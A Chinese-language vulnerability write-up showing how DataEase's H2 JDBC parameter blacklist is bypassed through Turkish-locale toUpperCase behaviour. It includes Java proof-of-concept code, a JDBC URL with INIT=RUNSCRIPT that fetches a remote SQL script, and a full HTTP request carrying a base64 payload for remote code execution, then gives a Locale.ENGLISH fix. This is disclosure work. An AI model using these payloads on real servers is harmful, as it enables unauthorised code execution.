前言
命途多舛的 dataease h2 jdbc 模块自大小写/unicode转换/反斜杠/json 属性覆盖后又迎来了一种全新的绕过方式
Locale 的作用
Java 里的 Locale 用来规定“语言 + 地区对应的文化规则”,-Duser.language 和 -Duser.country 设置的就是 JVM 的默认 Locale,它会直接影响字符串大小写、比较规则、格式化和国际化行为,默认情况下由语言环境自动设置,比如我们现在一般是中文语言环境,因此默认是中文,如果我们是英文语言环境,默认就是英文
继续绕过
我们看到现在 dataease 现在的检测,它在用 toUpperCase 转大写时没有设置 Locale,因此默认选择的是用户当前的地区对应的字符集等等:

这里有个问题,当我们看到 h2 jdbc 底层解析 URL 的逻辑,可以看到它在转大写的时候其实是设置了 Locale 的,值为 English:

这里其实带来了一个差异,就是不同地区对应的字符集和转换规则其实是不一样的,也因此 toUpperCase 会向使用者提供设置 Locale 的 api,比如我们本地可以做个测试,设置地区为土耳其:
-Duser.language=tr -Duser.country=TR

我们来测试下面的代码:
package JDBC;
import java.sql.Connection;
import java.sql.DriverManager;
import java.util.Locale;
public class H2RCE_Test {
public static void main(String[] args) throws Exception {
String url = "iNIT=RUNSCRIPT";
System.out.println(url.toUpperCase());
System.out.println(url.toUpperCase(Locale.ENGLISH));
}
}
可以发现一个很神奇的事,对于字母 i,当地区为 TR 时,转大写的结果是İ,而对于 English 它是正确的 I:

这意味 dataease 现在的这套检测放在中文或者英文地区或许是有效的,但是放在土耳其等地方其实是能被绕过的:

且由于 h2 jdbc 底层解析时强制走的 English,所以它也能成功被 h2 引擎解析:
package JDBC;
import java.sql.Connection;
import java.sql.DriverManager;
import java.util.Locale;
public class H2RCE_Test {
public static void main(String[] args) throws Exception {
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;iNIT=RUNSCRiPT FROM 'http://127.0.0.1:50025/poc.sql'";
System.out.println(url.toUpperCase());
System.out.println(url.toUpperCase(Locale.ENGLISH));
if(url.toUpperCase().replace("\\", "").contains("INIT")){
System.out.println("wrong");
}else{
System.out.println("bypass");
}
Connection conn = DriverManager.getConnection(url);
}
}

在 dataease 应用里我们也可以做具体的测试,将运行时的环境改成土耳其地区:

确实能在实际应用中绕过检测实现 RCE:
POST /de2api/datasource/validate HTTP/1.1
Host: 127.0.0.1:8100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-GPC: 1
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-Modified-Since: Wed, 17 Dec 2025 22:15:56 GMT
Priority: u=0, i
Content-Type: application/json
Content-Length: 492
{"id":"","name":"a","description":"","type":"h2","configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO2lOSVQ9UlVOU0NSaVBUIEZST00gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMjUvcG9jLnNxbCciLCJ1cmxUeXBlIjoiamRiY1VybCIsInNzaFR5cGUiOiJwYXNzd29yZCIsImV4dHJhUGFyYW1zIjoiIiwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImhvc3QiOiIiLCJhdXRoTWV0aG9kIjoiIiwicG9ydCI6MCwiaW5pdGlhbFBvb2xTaXplIjo1LCJtaW5Qb29sU2l6ZSI6NSwibWF4UG9vbFNpemUiOjUsInF1ZXJ5VGltZW91dCI6MzB9"}

修复方法也很简单,转大写的时候地区强制设置成 English即可,即:
if (jdbc.toUpperCase(Locale.ENGLISH).replace("\\", "").contains(illegalParameter)) {
DEException.throwException("Has illegal parameter: " + jdbc);
}